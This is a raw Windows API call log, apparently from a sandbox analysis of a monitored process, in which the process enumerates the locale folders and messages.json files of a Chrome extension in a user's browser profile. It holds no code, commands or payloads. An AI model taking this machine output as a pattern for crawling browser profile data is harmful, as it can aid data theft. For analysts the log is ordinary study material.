	[0066.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf)) returned 1
	[0066.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f8580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.376] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f8580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1
	[0066.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.377] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd228 | out: lpFileInformation=0x123fd228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc3)) returned 1
	[0066.378] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl"), fInfoLevelId=0x0, lpFileInformation=0x123fd278 | out: lpFileInformation=0x123fd278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.379] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd318 | out: lpFileInformation=0x123fd318*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661cf70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5)) returned 1
	[0066.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x123fd368 | out: lpFileInformation=0x123fd368*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.380] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd408 | out: lpFileInformation=0x123fd408*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce)) returned 1
	[0066.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.381] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd4f8 | out: lpFileInformation=0x123fd4f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1
	[0066.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.382] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.382] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8668fb60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5)) returned 1
	[0066.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.383] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8668fb60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a)) returned 1
	[0066.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
